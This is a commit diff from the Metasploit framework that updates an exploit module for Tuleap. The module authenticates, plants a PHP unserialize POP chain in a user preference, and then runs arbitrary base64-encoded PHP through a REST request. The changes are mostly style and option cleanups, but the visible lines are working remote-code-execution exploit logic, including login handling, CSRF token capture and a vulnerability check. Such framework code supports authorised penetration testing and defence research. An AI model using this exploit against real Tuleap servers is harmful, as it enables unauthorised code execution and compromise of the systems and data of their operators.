Skip to content

Commit 0973bfb

Browse files
authored
Update tuleap_rest_unserialize_exec.rb
1 parent 6985e1b commit 0973bfb

File tree

1 file changed

+12
-15
lines changed

1 file changed

+12
-15
lines changed

modules/exploits/unix/webapp/tuleap_rest_unserialize_exec.rb

Lines changed: 12 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,6 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
require 'msf/core'
7-
86
class MetasploitModule < Msf::Exploit::Remote
97
Rank = ExcellentRanking
108

@@ -42,10 +40,9 @@ def initialize(info = {})
4240
OptString.new('TARGETURI', [true, "The base path to the web application", "/"]),
4341
OptString.new('USERNAME', [true, "The username to authenticate with" ]),
4442
OptString.new('PASSWORD', [true, "The password to authenticate with" ]),
45-
OptString.new('AID', [ false, "The Artifact ID you have access to", "1"]),
46-
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
43+
OptInt.new('AID', [ false, "The Artifact ID you have access to", "1"]),
4744
Opt::RPORT(443)
48-
], self.class)
45+
])
4946
end
5047

5148
def setup_popchain(random_param)
@@ -61,15 +58,15 @@ def setup_popchain(random_param)
6158
'data' => {'username' => user, 'password' => pass}.to_json
6259
})
6360

64-
unless res and (res.code == 201 or res.code == 200) and res.body
61+
unless res && (res.code == 201 || res.code == 200) && res.body
6562
msg = "Login failed with #{user}:#{pass}"
6663
if $is_check then print_error(msg) end
6764
fail_with(Failure::NoAccess, msg)
6865
end
6966

7067
body = JSON.parse(res.body)
71-
uid = body['user_id'];
72-
token = body['token'];
68+
uid = body['user_id']
69+
token = body['token']
7370

7471
print_good("Login successful with #{user}:#{pass}")
7572
print_status("Updating user preference with POP chain string...")
@@ -95,22 +92,22 @@ def setup_popchain(random_param)
9592
'data' => pref.to_json
9693
})
9794

98-
unless res and res.code == 200
95+
unless res && res.code == 200
9996
msg = "Something went wrong"
10097
if $is_check then print_error(msg) end
10198
fail_with(Failure::UnexpectedReply, msg)
10299
end
103100
end
104101

105-
def do_login()
102+
def do_login
106103
print_status("Retrieving the CSRF token for login...")
107104

108105
res = send_request_cgi({
109106
'method' => 'GET',
110107
'uri' => normalize_uri(target_uri.path, 'account/login.php')
111108
})
112109

113-
if res and res.code == 200 and res.body and res.get_cookies
110+
if res && res.code == 200 && res.body && res.get_cookies
114111
if res.body =~ /name="challenge" value="(\w+)">/
115112
csrf_token = $1
116113
print_good("CSRF token: #{csrf_token}")
@@ -133,7 +130,7 @@ def do_login()
133130
'vars_post' => {'form_loginname' => user, 'form_pw' => pass, 'challenge' => csrf_token}
134131
})
135132

136-
unless res and res.code == 302
133+
unless res && res.code == 302
137134
msg = "Login failed with #{user}:#{pass}"
138135
if $is_check then print_error(msg) end
139136
fail_with(Failure::NoAccess, msg)
@@ -158,7 +155,7 @@ def exec_php(php_code)
158155
'vars_post' => {random_param => Rex::Text.encode_base64(php_code)}
159156
})
160157

161-
if res and res.code == 200 and res.body =~ /Exiting with Error/
158+
if res && res.code == 200 && res.body =~ /Exiting with Error/
162159
msg = "No access to Artifact ID #{datastore['AID']}"
163160
$is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg)
164161
end
@@ -171,9 +168,9 @@ def check
171168
flag = rand_text_alpha(rand(10)+20)
172169
res = exec_php("print '#{flag}';")
173170

174-
if res and res.code == 200 and res.body =~ /#{flag}/
171+
if res && res.code == 200 && res.body =~ /#{flag}/
175172
return Exploit::CheckCode::Vulnerable
176-
elsif res and res.body =~ /Exiting with Error/
173+
elsif res && res.body =~ /Exiting with Error/
177174
return Exploit::CheckCode::Unknown
178175
end
179176

0 commit comments

Comments
 (0)